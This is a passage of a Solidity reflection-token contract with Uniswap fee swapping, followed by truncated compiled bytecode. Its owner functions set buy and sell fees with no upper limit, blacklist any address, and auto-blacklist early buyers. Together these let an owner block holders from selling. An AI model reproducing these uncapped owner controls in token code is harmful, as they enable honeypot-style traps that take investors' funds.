_previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock+1 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613048565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a5565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa8565b610869565b604051610264919061346f565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f919061348a565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613687565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f55565b6108be565b6040516102f7919061346f565b60405180910390f35b34801561030c57600080fd5b50610315610997565b6040516103229190613687565b60405180910390f35b34801561033757600080fd5b5061034061099d565b60405161034d91906136fc565b60405180910390f35b34801561036257600080fd5b5061036b6109a6565b6040516103789190613454565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612ebb565b6109cc565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613091565b610abc565b005b3480156103df57600080fd5b506103e8610b6d565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612ebb565b610c3e565b60405161041e9190613687565b60405180910390f35b34801561043357600080fd5b5061043c610c8f565b005b34801561044a57600080fd5b50610465600480360381019061046091906130be565b610de2565b005b34801561047357600080fd5b5061047c610e81565b6040516104899190613687565b60405180910390f35b34801561049e57600080fd5b506104a7610e87565b6040516104b49190613454565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613091565b610eb0565b005b3480156104f257600080fd5b506104fb610f69565b6040516105089190613687565b60405180910390f35b34801561051d57600080fd5b50610526610f6f565b60405161053391906134a5565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130be565b610fac565b005b34801561057157600080fd5b5061058c600480360381019061058791906130eb565b61104b565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa8565b611102565b6040516105c2919061346f565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612ebb565b611120565b6040516105ff919061346f565b60405180910390f35b34801561061457600080fd5b5061061d611140565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe8565b611219565b005b34801561065457600080fd5b5061065d611353565b60405161066a9190613687565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f15565b611359565b6040516106a79190613687565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130be565b6113e0565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612ebb565b61147f565b005b61070a611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e7565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139d3565b91505061079a565b5050565b60606040518060400160405280600581526020017f414c4c4148000000000000000000000000000000000000000000000000000000815250905090565b600061087d610876611641565b8484611649565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b60006108cb848484611814565b61098c846108d7611641565b61098785604051806060016040528060288152602001613f2860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093d611641565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f49092919063ffffffff16565b611649565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a58906135e7565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906135e7565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bae611641565b73ffffffffffffffffffffffffffffffffffffffff161480610c245750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0c611641565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2d57600080fd5b6000479050610c3b81612258565b50565b6000610c88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612353565b9050919050565b610c97611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dea611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e906135e7565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3c906135e7565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600581526020017f414c4c4148000000000000000000000000000000000000000000000000000000815250905090565b610fb4611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611041576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611038906135e7565b60405180910390fd5b8060198190555050565b611053611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d7906135e7565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111661110f611641565b8484611814565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611181611641565b73ffffffffffffffffffffffffffffffffffffffff1614806111f75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111df611641565b73ffffffffffffffffffffffffffffffffffffffff16145b61120057600080fd5b600061120b30610c3e565b9050611216816123c1565b50565b611221611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a5906135e7565b60405180910390fd5b60005b8383905081101561134d5781600560008686858181106112d4576112d3613a7a565b5b90506020020160208101906112e99190612ebb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611345906139d3565b9150506112b1565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c906135e7565b60405180910390fd5b8060188190555050565b611487611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90613547565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090613667565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172090613567565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118079190613687565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187b90613627565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118eb906134c7565b60405180910390fd5b60008111611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e90613607565b60405180910390fd5b61193f610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ad575061197d610e87565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef357601660149054906101000a900460ff16611a3c576119ce610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a32906134e7565b60405180910390fd5b5b601754811115611a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7890613527565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b255750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5b90613587565b60405180910390fd5b6001600854611b7391906137bd565b4311158015611bcf5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c295750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbf576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6c5760185481611d2184610c3e565b611d2b91906137bd565b10611d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6290613647565b60405180910390fd5b5b6000611d7730610c3e565b9050600060195482101590506017548210611d925760175491505b808015611dac5750601660159054906101000a900460ff16155b8015611e065750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1c575060168054906101000a900460ff165b8015611e725750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ef057611ed6826123c1565b60004790506000811115611eee57611eed47612258565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f9a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205b57600090506121e2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121065750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211e57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e157600b54600d81905550600c54600e819055505b5b6121ee84848484612649565b50505050565b600083831115829061223c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223391906134a5565b60405180910390fd5b506000838561224b919061389e565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a860028461267690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d3573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232460028461267690919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234f573d6000803e3d6000fd5b5050565b600060065482111561239a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239190613507565b60405180910390fd5b60006123a46126c0565b90506123b9818461267690919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f9576123f8613aa9565b5b6040519080825280602002602001820160405280156124275781602001602082028036833780820191505090505b509050308160008151811061243f5761243e613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e157600080fd5b505afa1580156124f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125199190612ee8565b8160018151811061252d5761252c613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259430601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611649565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f89594939291906136a2565b600060405180830381600087803b15801561261257600080fd5b505af1158015612626573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612657576126566126eb565b5b61266284848461272e565b806126705761266f6128f9565b5b50505050565b60006126b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290d565b905092915050565b60008060006126cd612970565b915091506126e4818361267690919063ffffffff16565b9250505090565b6000600d541480156126ff57506000600e54145b156127095761272c565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b600080600080600080612740876129d2565b95509550955095509550955061279e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287f81612ae2565b6128898483612b9f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e69190613687565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b91906134a5565b60405180910390fd5b50600083856129639190613813565b9050809150509392505050565b600080600060065490506000683635c9adc5dea0000090506129a6683635c9adc5dea0000060065461267690919063ffffffff16565b8210156129c557600654683635c9adc5dea000009350935050506129ce565b81819350935050505b9091565b60008060008060008060008060006129ef8a600d54600e54612bd9565b92509250925060006129ff6126c0565b90506000806000612a128e878787612c6f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f4565b905092915050565b6000808284612a9391906137bd565b905083811015612ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acf906135a7565b60405180910390fd5b8091505092915050565b6000612aec6126c0565b90506000612b038284612cf890919063ffffffff16565b9050612b5781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb482600654612a3a90919063ffffffff16565b600681905550612bcf81600754612a8490919063ffffffff16565b6007819055505050565b600080600080612c056064612bf7888a612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c2f6064612c21888b612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c5882612c4a858c612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c888589612cf890919063ffffffff16565b90506000612c9f8689612cf890919063ffffffff16565b90506000612cb68789612cf890919063ffffffff16565b90506000612cdf82612cd18587612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d0b5760009050612d6d565b60008284612d199190613844565b9050828482612d289190613813565b14612d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5f906135c7565b60405180910390fd5b809150505b92915050565b6000612d86612d818461373c565b613717565b90508083825260208201905082856020860282011115612da957612da8613ae2565b5b60005b85811015612dd95781612dbf8882612de3565b845260208401935060208301925050600181019050612dac565b5050509392505050565b600081359050612df281613ee2565b92915050565b600081519050612e0781613ee2565b92915050565b60008083601f840112612e2357612e22613add565b5b8235905067ffffffffffffffff811115612e4057612e3f613ad8565b5b602083019150836020820283011115612e5c57612e5b613ae2565b5b9250929050565b600082601f830112612e7857612e77613add565b5b8135612e88848260208601612d73565b91505092915050565b600081359050612ea081613ef9565b92915050565b600081359050612eb581613f10565b92915050565b600060208284031215612ed157612ed0613aec565b5b6000612edf84828501612de3565b91505092915050565b600060208284031215612efe57612efd613aec565b5b6000612f0c84828501612df8565b91505092915050565b60008060408385031215612f2c57612f2b613aec565b5b6000612f3a85828601612de3565b9250506020612f4b85828601612de3565b9150509250929050565b600080600060608486031215612f6e57612f6d613aec565b5b6000612f7c86828701612de3565b9350506020612f8d86828701612de3565b9250506040612f9e86828701612ea6565b9150509250925092565b60008060408385031215612fbf57612fbe613aec565b5b6000612fcd85828601612de3565b9250506020612fde85828601612ea6565b9150509250929050565b60008060006040848603121561300157613000613aec565b5b600084013567ffffffffffffffff81111561301f5761301e613ae7565b5b61302b86828701612e0d565b9350935050602061303e86828701612e91565b9150509250925092565b60006020828403121561305e5761305d613aec565b5b600082013567ffffffffffffffff81111561307c5761307b613ae7565b5b61308884828501612e63565b91505092915050565b6000602082840312156130a7576130a6613aec565b5b60006130b584828501612e91565b91505092915050565b6000602082840312156130d4576130d3613aec565b5b60006130e284828501612ea6565b91505092915050565b6000806000806080858703121561310557613104613aec565b5b600061311387828801612ea6565b945050602061312487828801612ea6565b935050604061313587828801612ea6565b925050606061314687828801612ea6565b91505092959194509250565b600061315e838361316a565b60208301905092915050565b613173816138d2565b82525050565b613182816138d2565b82525050565b600061319382613778565b61319d818561379b565b93506131a883613768565b8060005b838110156131d95781516131c08882613152565b97506131cb8361378e565b9250506001810190506131ac565b5085935050505092915050565b6131ef816138e4565b82525050565b6131fe81613927565b82525050565b61320d81613939565b82525050565b600061321e82613783565b61322881856137ac565b935061323881856020860161396f565b61324181613af1565b840191505092915050565b60006132596023836137ac565b915061326482613b02565b604082019050919050565b600061327c603f836137ac565b915061328782613b51565b604082019050919050565b600061329f602a836137ac565b91506132aa82613ba0565b604082019050919050565b60006132c2601c836137ac565b91506132cd82613bef565b602082019050919050565b6000613